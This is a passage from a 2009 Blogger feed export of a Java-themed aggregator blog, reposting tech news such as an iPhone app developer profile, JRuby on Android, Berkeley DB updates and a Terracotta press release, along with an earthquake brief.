its kind on the market. It sold for $8.99.&lt;/p&gt; &lt;p&gt;Michels eagerly awaited sales. The first two days were slow, but by week's end, he was ecstatic.&lt;/p&gt; &lt;p&gt;"My God, this could actually work out!" he remembers thinking. "I wanted to quit my job instantly."&lt;/p&gt; &lt;p&gt;His wife, Lynn, convinced him to wait a few months to see if the sales would continue.&lt;/p&gt; &lt;p&gt;Michels kept busy answering customers' questions and thinking about his next app idea.&lt;/p&gt; &lt;p&gt;By October, seven months of 70-plus-hour weeks were taking their toll. And enough sales were rolling in that Lynn, also the family bookkeeper, was on board for taking a leap of faith.&lt;/p&gt; &lt;p&gt;"She's my hero," Michels said. "She has been 100 percent behind me. She knew I wasn't happy at work given the realities of the future."&lt;/p&gt; &lt;h3&gt;Jobs left behind  &lt;/h3&gt; &lt;p&gt;As Michels was quitting his job last fall, O'Hearne was starting Pi, a group that now numbers nearly 150 from its initial 35. &lt;/p&gt; &lt;p&gt;The group formed after Apple lifted its ban on developers sharing ideas and information. &lt;/p&gt; &lt;p&gt;O'Hearne wrote GPS Mail, which lets users e-mail a map of their current location (and provide directions) instantly. He knew he and others could create better apps if they could exchange technical advice and brainstorm ways to improve and market them. The group talks code, debates the merits of Java vs. Objective-C programming language and generally talks in sentences that sound foreign to non-developers.&lt;/p&gt; &lt;p&gt;For the most part, Pi is not packed with wide-eyed teens or 20-somethings writing code in their dorm rooms. The core members are in their 30s and 40s, having seen plenty of innovations come and go. They've worked as Web and software developers at large firms, many using Microsoft-based programs after Apple's popularity dipped in the 1990s.&lt;/p&gt; &lt;p&gt;Seasoned as they are, it's easy to catch the whole brainy Pi group marvel over the iPhone, sometimes sounding like awestruck 10-year-olds.&lt;/p&gt; &lt;p&gt;"This is a Star Trek device," said Gilbert-based developer Jiva DeVoe. "We live in the future."&lt;/p&gt; &lt;p&gt;The iPhone celebrated only its second birthday on June 29. Today, more than 45 million iPhones and iPod Touch devices (which also use apps) have been sold, and more than 1.5 billion apps have been downloaded.&lt;/p&gt; &lt;p&gt;There's Shazam, a popular app that will identify a song playing in the background and even let you buy it from Apple's iTunes store. Urbanspoon suggests a nearby restaurant for dinner. Shake your iPhone, and options on the screen spin like a slot machine.&lt;/p&gt; &lt;p&gt;The selection grows daily.&lt;/p&gt; &lt;p&gt;That's part of what iPhone developers love and hate.&lt;/p&gt; &lt;p&gt;Specifically, they love the App Store for giving them direct access to customers but hate being lost among the tens of thousands of apps with little way to get noticed if they aren't a staff pick or a top seller. Many software developers have gone from writing code to answering international customer e-mails (some have to be translated) to trying to boost sales - all while coming up with new apps. &lt;/p&gt; &lt;p&gt;They are inspired by those such as Michels and DeVoe, who wrote iZen Garden. The meditation app lets users "rake" sand with their finger and place stones and plants while listening to soothing tunes. DeVoe's app was one of the first 500 to be offered at the App Store's July 11, 2008, debut, and earned kudos as a staff pick. &lt;/p&gt; &lt;p&gt;A computer programmer for a defense contractor, DeVoe also was able to give up his job and dive into full-time app development.&lt;/p&gt; &lt;p&gt;"It felt fantastic and liberating," he said, adding it was also a bit lonely and scary at first. "Even if all of this ended tomorrow, I wouldn't trade my time I've had being independent for anything - being able to do what I want, when I want."&lt;/p&gt; &lt;p&gt;Like all the local app developers, Michels is still trying to figure out a way to beat the competition, especially as the app offerings explode and prices stay low. iTunes is filled with apps that are either free or 99 cents.&lt;/p&gt; &lt;p&gt;"Most of the people I know who have 99-cent apps are not able to support themselves," Michels said.&lt;/p&gt; &lt;p&gt;All the while, more are joining the competition.&lt;/p&gt; &lt;p&gt;Recently, Pi's youngest member, 17-year-old Craig Bishop, gave the gang a tutorial to a complex programming tool that left some amazed. &lt;/p&gt; &lt;p&gt;"Right now, it beats flipping hamburgers," said Bishop, a senior at Desert Vista High School in Phoenix. &lt;/p&gt; &lt;p&gt;He wrote an app called Homework to help students manage their deadlines, but he's focused now on creating an iPhone game. &lt;/p&gt; &lt;p&gt;"I'm up against this!" Michels said after hearing Bishop, then promptly counseled the teen to take business classes, too. &lt;/p&gt; &lt;h3&gt;A hopeful future  &lt;/h3&gt; &lt;p&gt;Although Michels has fared better than many other developers, it's not easy.&lt;/p&gt; &lt;p&gt;Last November, a glitch in his program forced him to stop sales for two weeks.&lt;/p&gt; &lt;p&gt;"Half a month's sales are pretty critical when you just quit your job," he said.&lt;/p&gt; &lt;p&gt;Once his initial glitch was fixed, the recession hit. Michels had some sleepless nights until sales picked up again in January and February only to drop off again by spring.&lt;/p&gt; &lt;p&gt;At that time, the development team he had supervised at his former job was laid-off, and his old boss was on his way out, too. &lt;/p&gt; &lt;p&gt;He thought he made the right decision.&lt;/p&gt; &lt;p&gt;"It has been a roller coaster, without question," he said. In June, he even considered looking for a job if business didn't pick up.&lt;/p&gt; &lt;p&gt;He kept pushing ahead.&lt;/p&gt; &lt;p&gt;This summer, his second app, My Eyes Only Photo, was released. It protects and encrypts photos. He priced it at $3.99, $5 less than his first program. Sales right now "are enough to make a good living," he said.&lt;/p&gt; &lt;p&gt;Today, he spends his days in a small office next to the master bedroom in his Scottsdale home. He has a good view of the backyard above his three Apple computers and is generally content but not stress-free. &lt;/p&gt; &lt;p&gt;He admits he misjudged the app explosion. &lt;/p&gt; &lt;p&gt;"I missed how many developers would try to develop for this platform," he said. "I thought I could get a foothold before it caught on."&lt;/p&gt; &lt;p&gt;Now, his whole family sees his business, called Software Ops, as an opportunity. His wife and 12-year-old daughter are helping him create an entertainment app. And most nights and weekends are family time again.&lt;/p&gt; &lt;p&gt;"The biggest thing is, I see the future, and the future is hopeful, whereas the other future wasn't," he said. "You can handle the stress if you have a hopeful future."&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-3522357689670241115?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/3522357689670241115/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=3522357689670241115' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3522357689670241115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3522357689670241115'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/entrepreneur-sees-future-on-his-iphone.html' title='Entrepreneur sees future - on his iPhone'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-818933554924336000</id><published>2009-09-14T18:25:00.000-07:00</published><updated>2009-09-14T18:26:52.947-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Ruby apps development readied for Android</title><content type='html'>&lt;h2&gt;The tool set being prepared will enable the building of business apps like mail clients&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Builders of the JRuby version of the Ruby programming language are working to enable development of Ruby-based business applications for the Android handheld platform, a leader of the JRuby project said on Monday afternoon.&lt;/p&gt; &lt;p&gt;A tool set featuring libraries and application-packaging capabilities along with speed enhancements to JRuby itself are in development, said Charles Nutter, JRuby architect at Engine Yard. JRuby is an implementation of Ruby for the Java Virtual Machine.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;[ Neil McAllister says that &lt;a href="http://www.infoworld.com/d/developer-world/google-android-party-over-317?source=fssr"&gt;with developers angry at Google, the party is over for Android&lt;/a&gt;. | Check out InfoWorld's look at how &lt;a href="http://www.infoworld.com/d/developer-world/scripting-languages-spark-new-programming-era-583?source=fssr"&gt;scripting languages are sparking a new programming era&lt;/a&gt;. ]&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;"Android runs Java, and anywhere that Java goes, JRuby can go, so we've been working on Android support for Ruby," Nutter said. JRuby already runs on Android via the Dalvik JVM, but further improvements are needed to enable application development, Nutter said. Currently, only simple systems like an interactive console can run on Android via JRuby.&lt;/p&gt; &lt;p&gt;If the project comes to fruition, applications could be built for Android, such as a Twitter client or perhaps a personal information manager or mail client, he said.&lt;/p&gt; &lt;p&gt;"We'd like it to be possible to build any application [with JRuby] that they would build with Java on Android. That's the goal," he said. The project, though, has just started and its release will be demand-driven, Nutter said. The tool set would be added to JRuby itself.&lt;/p&gt; &lt;p&gt;Android handhelds are becoming more popular, Nutter noted. &lt;a href="http://www.infoworld.com/d/developer-world/motorola-eyes-expanded-app-dev-cliq-phone-304"&gt;Motorola, for example, introduced its Cliq Android&lt;/a&gt; device last week.&lt;/p&gt; &lt;p&gt;Nutter and colleague Tom Enebo &lt;a href="http://www.infoworld.com/d/developer-world/suns-jruby-team-jumps-ship-engine-yard-931"&gt;recently left Sun Microsystems&lt;/a&gt; to carry on with JRuby development at Engine Yard. &lt;a href="http://www.infoworld.com/t/mergers-and-acquisitions/update-oracle-agrees-buy-sun-74b-095"&gt;Sun is in the process of being acquired by Oracle&lt;/a&gt;, which fostered an uncertainty about Oracle's commitment to the JRuby project, Nutter explained.&lt;/p&gt; &lt;p&gt;"We really didn't have any evidence either way," about whether or not the project would be picked up once Oracle took over Sun, he said.&lt;/p&gt; &lt;p&gt;With the merger proceeding, JRuby developers at Sun could not talk about future endeavors, said Nutter. "That certainly put a damper on our plans," as far as talking about the project itself, he said.&lt;/p&gt; &lt;p&gt;Meanwhile, Nutter and colleagues will conduct a JRuby technical conference, called &lt;a href="http://www.jrubyconf.com/" target="_blank"&gt;JRubyConf&lt;/a&gt;, in Burlingame, Calif., November 22, beginning the day after the &lt;a href="http://www.rubyconf.org/" target="_blank"&gt;RubyConf&lt;/a&gt; event in the same location. The JRuby core team will be featured along with sessions on topics such as Android support. Although the conference already is full, interested persons can get on a waiting list to attend, Nutter said.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-818933554924336000?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/818933554924336000/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=818933554924336000' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/818933554924336000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/818933554924336000'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/ruby-apps-development-readied-for.html' title='Ruby apps development readied for Android'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5750790663250399852</id><published>2009-09-14T18:24:00.000-07:00</published><updated>2009-09-14T18:25:34.127-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Mozilla Service Week, Microsoft's CodePlex Foundation</title><content type='html'>&lt;h2&gt;Mozilla Service Week brings development help to non-profits&lt;/h2&gt; &lt;p&gt;This week is &lt;a href="http://www.idealist.org/if/i/en/h/blog/one-week--til-mozilla-service-week-" target="_blank"&gt;Mozilla Service Week&lt;/a&gt;, where you can pledge time to help nonprofit organizations. This is a great way to do something good for others, network, and gain a little bit of experience.&lt;/p&gt; &lt;h2&gt;Microsoft founds an open source foundation&lt;/h2&gt; &lt;p&gt;&lt;a href="http://blogs.zdnet.com/microsoft/?p=3888" target="_blank"&gt;Microsoft opened an open source foundation called the CodePlex Foundation&lt;/a&gt; (but it will be separate from the CodePlex code repository). ZDNet’s Mary-Jo Foley has more details. Yeah, I rubbed my eyes too the first time I read that news.&lt;/p&gt; &lt;h2&gt;Sang Shin teaches Java with passion&lt;/h2&gt; &lt;p&gt;Sang Shin is giving &lt;a href="http://www.javapassion.com/" target="_blank"&gt;free, online Java training courses&lt;/a&gt; to nonprofit groups. Check out his site for registration details and course times.&lt;/p&gt; &lt;h2&gt;Doloto reduces JavaScript downloads&lt;/h2&gt; &lt;p&gt;&lt;a href="http://blogs.msdn.com/somasegar/archive/2009/09/04/doloto-on-devlabs.aspx" target="_blank"&gt;Microsoft is showing off a new technology called Doloto&lt;/a&gt;, which analyzes the JavaScript usage of applications and rewrites the JavaScript in order to reduce download times. This is potentially very useful for a lot of Web applications, particularly those with a lot of AJAX. Microsoft is showing a 30% - 40% reduction in application startup time. From what I can tell, Doloto is &lt;em&gt;not&lt;/em&gt; .NET specific.&lt;/p&gt; &lt;h2&gt;Mono for OSX receives a minor update&lt;/h2&gt; &lt;p&gt;&lt;a href="http://www.mono-project.com/news/archive/2009/Sep-04.html" target="_blank"&gt;The Mono Project has released a minor update to its OSX version&lt;/a&gt; to correct some issues with the MonoDevelop IDE.&lt;/p&gt; &lt;h2&gt;Telerik offers two free TFS tools&lt;/h2&gt; &lt;p&gt;&lt;a href="http://www.telerik.com/products/tfsmanager-and-tfsdashboard.aspx" target="_blank"&gt;Telerik is offering two free TFS tools (both currently in beta): the TFS Work Item Manager and the TFS Project Dashboard&lt;/a&gt;. I tried the TFS Work Item Manager; it has some nice features above what Visual Studio supports (such as a better query builder), but it doesn’t offer a good way to customize how work items print, which is critical to my needs.&lt;/p&gt; &lt;h2&gt;Microsoft getting ready to demo two SL4 items&lt;/h2&gt; &lt;p&gt;&lt;a href="http://blogs.zdnet.com/microsoft/?p=3860" target="_blank"&gt;Microsoft was scheduled to demo two Silverlight 4 features (multicasting, and offline DRM) late last week.&lt;/a&gt; Silverlight 3 was just released; I have no idea how Silverlight developers keep up with this stuff — they must not sleep.&lt;/p&gt; &lt;h2&gt;Scala 2.7.6 released&lt;/h2&gt; &lt;p&gt;&lt;a href="http://www.scala-lang.org/node/3250" target="_blank"&gt;Scala 2.7.6 has been released.&lt;/a&gt; It simply fixes a rare “malformed Scala signature” message.&lt;/p&gt; &lt;h2&gt;ASP.NET AJAX 4.0 Preview 5 available&lt;/h2&gt; &lt;p&gt;&lt;a href="http://aspnet.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=32770" target="_blank"&gt;Microsoft has released Preview 5 of the ASP.NET AJAX toolkit on CodePlex.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;J.Ja&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Disclosure of Justin’s industry affiliations:&lt;/strong&gt; Justin James has a contract with Spiceworks to write product buying guides.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5750790663250399852?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5750790663250399852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5750790663250399852' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5750790663250399852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5750790663250399852'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/mozilla-service-week-microsofts.html' title='Mozilla Service Week, Microsoft&apos;s CodePlex Foundation'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-1355945682173195555</id><published>2009-09-14T18:21:00.000-07:00</published><updated>2009-09-14T18:23:51.584-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Oracle renews push into embedded open source software market</title><content type='html'>Oracle redoubled its efforts in the $2 billion embeddable database market on Monday updating two  members of its open -source &lt;a href="http://searchoracle.techtarget.com/newsItem/0,289139,sid41_gci1073699,00.html"&gt;Berkeley DB&lt;/a&gt; family to include support for Windows programming environments. It's a move Oracle believes could benefit both developers and IT shops. &lt;p&gt; Both Berkeley DB 4.8 and Berkeley DB XML 2.5  feature support for C# and &lt;a href="http://searchoracle.techtarget.com/news/article/.http://searchoracle.techtarget.com/whitepaperPage/0,293857,sid41_gci939310,00.html"&gt; Net programming environments,&lt;/a&gt; which Oracle hopes will entice developers and device makers to embed the two products into their Windows-based applications and devices. Both products already support several open source scripting languages including Ruby oOn Rails, Python, Pearl, as well as Java and C++.&lt;/p&gt;&lt;p&gt;       &lt;table align="left" border="0" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td colspan="2"&gt;&lt;img src="http://media.techtarget.com/searchOracle/images/spacer.gif" width="1" height="7" /&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td&gt;    &lt;table align="left" border="0" cellpadding="0" cellspacing="0" width="200"&gt;     &lt;tbody&gt;&lt;tr class="color4"&gt;      &lt;td&gt;&lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;   &lt;/td&gt;   &lt;td&gt;&lt;img src="http://media.techtarget.com/searchOracle/images/spacer.gif" width="7" height="1" /&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td colspan="2"&gt;&lt;img src="http://media.techtarget.com/searchOracle/images/spacer.gif" width="1" height="7" /&gt;&lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; The company has also streamlined both products to require less hardware muscle than their predecessors thereby cutting down the costs for developers and organizations running products with the embedded databases. Two other aspects of the product should also appeal to cost conscious IT shops, according to Rex Wang, vice president of marketing for Oracle. Since neither product requires a database administrator, users sidestep the need to purchase a separate license from Oracle.&lt;/p&gt;&lt;p&gt; This may be a particularly well-timed move, as some analysts like the prospects for embedded databases over the next year.&lt;/p&gt;&lt;p&gt; "With budgets expected to be severely squeezed for the next 18 months, it seems likely that applications and tools with embedded databases that require no DBA support will find increasing favor," IDC analyst Carl Olofson wrote in a recent report about the embedded database market.&lt;/p&gt;&lt;p&gt; The updates are being received well by some developers. Lucas Vogel, a managing partner with Alpharetta, GA-based Windows application developer Endpoint Systems, was heartened by the newly added support Windows because "with the C# library, .Net developers have access to a more proven data storage engine" that Unix and Java developers have had for more than 10 years. He added that he hopes the Oracle products can offer some solutions that go beyond those of traditional relational storage.&lt;/p&gt;&lt;p&gt; Along with Windows support, Oracle has improved the speed and performance of each product, particularly in symmetrical multiprocessing (SMP) environments, said Wang from Oracle.&lt;/p&gt;&lt;p&gt; "Specifically we enhanced performance on SMP systems by improving the system's ability to handle multiple processes and multiple threads. We improved their ease of use with a new utility that autogenerates Berkeley DB application code based on SQL. This will speed up development significantly for developers familiar with SQL," said Wang.&lt;/p&gt;&lt;p&gt; Other new features in Berkeley DB 4.8 include refurbished APIs designed to simplify application development that reduce time and cost, and better flexibility for addressing applications scalability and on-disk storage requirements. Ease of use improvements include support for foreign keys to help guarantee referential integrity and improved failure handling for multi-threaded applications.&lt;/p&gt;&lt;p&gt; Other improvements in Berkeley DB XML 2.5 include support for external functions, allowing users to extend XQuery statements in C++ Java and Python APIs, and a smaller on-disk footprint for XML containers, which Oracle says can cut down storage requirements by 30% and enable faster document retrieval.&lt;/p&gt; The Berkeley DB series was originally developed by SleepyCat Software, which Oracle purchased in 2006.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-1355945682173195555?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/1355945682173195555/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=1355945682173195555' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1355945682173195555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1355945682173195555'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/oracle-renews-push-into-embedded-open.html' title='Oracle renews push into embedded open source software market'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-4214240722124606844</id><published>2009-09-14T18:17:00.000-07:00</published><updated>2009-09-14T18:21:00.854-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Indonesia: Earthquake Rocks Java</title><content type='html'>The death toll from a powerful earthquake and several strong aftershocks continued to rise Thursday, and Indonesian officials said the figure was likely to increase significantly in the coming days. Indonesia's disaster management agency said at least 57 people were killed by a 7.1-magnitude quake that struck the principal island of Java on Wednesday afternoon, rocking the province of West Java and causing panic throughout the country's most populous region. Rescue workers continued to search Thursday for survivors among thousands of collapsed buildings along Java's southwestern coast.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-4214240722124606844?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/4214240722124606844/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=4214240722124606844' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4214240722124606844'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4214240722124606844'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/indonesia-earthquake-rocks-java.html' title='Indonesia: Earthquake Rocks Java'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-2016472676612764898</id><published>2009-09-14T18:16:00.000-07:00</published><updated>2009-09-14T18:17:09.102-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Terracotta for Hibernate Drives Dramatic Improvements in Application Performance While Reducing Database Costs</title><content type='html'>&lt;pre&gt;Power of Terracotta Now Available as High-Performance Distributed Cache Plug-In&lt;br /&gt;for Hibernate, Supercharging the Popular Data Access Backbone for Enterprise&lt;br /&gt;Java Applications&lt;br /&gt;SAN FRANCISCO--(Business Wire)--&lt;br /&gt;Terracotta, a recognized leader in infrastructure software for enterprise Java&lt;br /&gt;scalability, today announced the availability of Terracotta 3.1. The new&lt;br /&gt;release, which is already available for download, includes Terracotta for&lt;br /&gt;Hibernate, a plug-in distributed cache for the widely-used Hibernate&lt;br /&gt;Object-Relational Mapping (ORM) framework. Coupled with Terracotta`s recent&lt;br /&gt;acquisition of the world`s most popular Java caching framework, Ehcache, this&lt;br /&gt;new release marks yet another significant milestone in delivering simple&lt;br /&gt;scalability to a wider range of organizations that build software using the Java&lt;br /&gt;platform.&lt;br /&gt;&lt;br /&gt;Organizations running Java applications are actively seeking ways to continue&lt;br /&gt;using the Hibernate framework they prefer, while reducing the heavy load on the&lt;br /&gt;database it can create. Based on actual deployment results, Terracotta for&lt;br /&gt;Hibernate slashes latency to times typically under 1 millisecond, making&lt;br /&gt;applications far more responsive, with results end-users can see immediately. By&lt;br /&gt;simply using Terracotta for Hibernate as a second-level cache, applications&lt;br /&gt;often see throughput boosts of ten times and database load reductions of 30-90&lt;br /&gt;percent. These performance gains occur along with Terracotta`s guarantee that&lt;br /&gt;all the data in the cache is highly available and up-to-date across servers.&lt;br /&gt;This ensures applications function seamlessly without sacrificing data&lt;br /&gt;integrity.&lt;br /&gt;&lt;br /&gt;"Terracotta 3.1 fills a long-standing gap in object-relational mapping&lt;br /&gt;technology, one that has driven unnecessarily high database spending for a few&lt;br /&gt;years," said Ari Zilka, chief technology officer and co-founder of Terracotta.&lt;br /&gt;"Hibernate combined with Terracotta gives developers the development simplicity&lt;br /&gt;they sought in ORMs in the first place, with the high throughput their customers&lt;br /&gt;demand, along with less tuning hassle, all for dramatically lower cost."&lt;br /&gt;&lt;br /&gt;By managing frequently-accessed data in Terracotta, Hibernate users no longer&lt;br /&gt;need to provision databases for peak load, or purchase expensive database&lt;br /&gt;clustering features, and as a result can drive large cost savings for their&lt;br /&gt;organizations while delivering a higher quality of service to their end users.&lt;br /&gt;&lt;br /&gt;Terracotta for Hibernate capabilities in Terracotta 3.1 include:&lt;br /&gt;&lt;br /&gt;* High Performance, Coherent Distributed Cache- Increase application capacity by&lt;br /&gt;ten times by reducing database load from 30-90 percent;&lt;br /&gt;* Unmatched Workload Visualization- Terracotta for Hibernate`s dashboard is the&lt;br /&gt;only product that provides a cluster-wide view of all Hibernate activity,&lt;br /&gt;showing you at a glance how much load is taken off your database. Get individual&lt;br /&gt;server statistics, as well as aggregate cluster-wide views of key Hibernate and&lt;br /&gt;cache statistics;&lt;br /&gt;* Hibernate Optimized for Clustered Operation- Terracotta for Hibernate uses the&lt;br /&gt;Terracotta scalability platform to optimize Hibernate in the context of a&lt;br /&gt;cluster of application servers;&lt;br /&gt;* Runtime Configuration and Control-Developers and operators gain runtime&lt;br /&gt;control over critical cache settings like per region cacheability and&lt;br /&gt;time-to-live (TTL) and time-to-idle (TTI) parameters; and&lt;br /&gt;* Broad Container Support - Terracotta 3.1 supports a wide array of Java&lt;br /&gt;containers, including Apache Tomcat, Oracle Weblogic, Jetty, JBoss and Sun&lt;br /&gt;Glassfish.&lt;br /&gt;&lt;br /&gt;This latest release is a major step in addressing the common cost and&lt;br /&gt;performance concerns associated with databases. Terracotta 3.1 also protects&lt;br /&gt;customers` existing investment in database infrastructure by making it easier to&lt;br /&gt;be more selective about what data should be placed in a database and what data&lt;br /&gt;is better managed within Terracotta. Terracotta 3.1, which includes Terracotta&lt;br /&gt;for Hibernate, is available immediately for download at www.terracotta.org.&lt;br /&gt;&lt;br /&gt;About Terracotta, Inc.&lt;br /&gt;&lt;br /&gt;Terracotta is infrastructure software that provides affordable and scalable high&lt;br /&gt;availability for Java applications. Companies use Terracotta to offload work&lt;br /&gt;from databases and application servers and to reduce their development efforts.&lt;br /&gt;Founded in 2003, Terracotta, Inc. is a private firm headquartered in San&lt;br /&gt;Francisco. More information on the company, its products and its open source&lt;br /&gt;community is available at www.terracotta.org.&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-2016472676612764898?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/2016472676612764898/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=2016472676612764898' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2016472676612764898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2016472676612764898'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/terracotta-for-hibernate-drives.html' title='Terracotta for Hibernate Drives Dramatic Improvements in Application Performance While Reducing Database Costs'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-733759822293544521</id><published>2009-09-14T18:11:00.000-07:00</published><updated>2009-09-14T18:15:35.005-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Spin Cycle: Big Brother, zombies and java</title><content type='html'>&lt;span id="mn_Global"&gt;&lt;span id="mn_Article"&gt;&lt;p class="infoboxtextindent"&gt;The Turkish military just performed a daring rescue, freeing nine women who had moved into an Istanbul mansion, thinking they were joining a "Big Brother"-type reality show. Instead, they became prisoners, their every move filmed and streamed live on the Internet for two straight months. As of last Thursday, the not-quite contestants are safely home with their families. &lt;/p&gt;&lt;p&gt;No word on how soon the Turkish military can rescue Julie and Jordan from "Big Brother: Season 11," but we suspect these heroes may have been behind Paula Abdul's escape from "American Idol."&lt;/p&gt;&lt;p class="briefshead"&gt;Laboring&lt;/p&gt;&lt;p class="infoboxtextindent"&gt;Meanwhile in other reality TV news, MTV hosted a holiday weekend marathon of its new series, "16 and Pregnant," earlier this month. And yes, we'll wait here 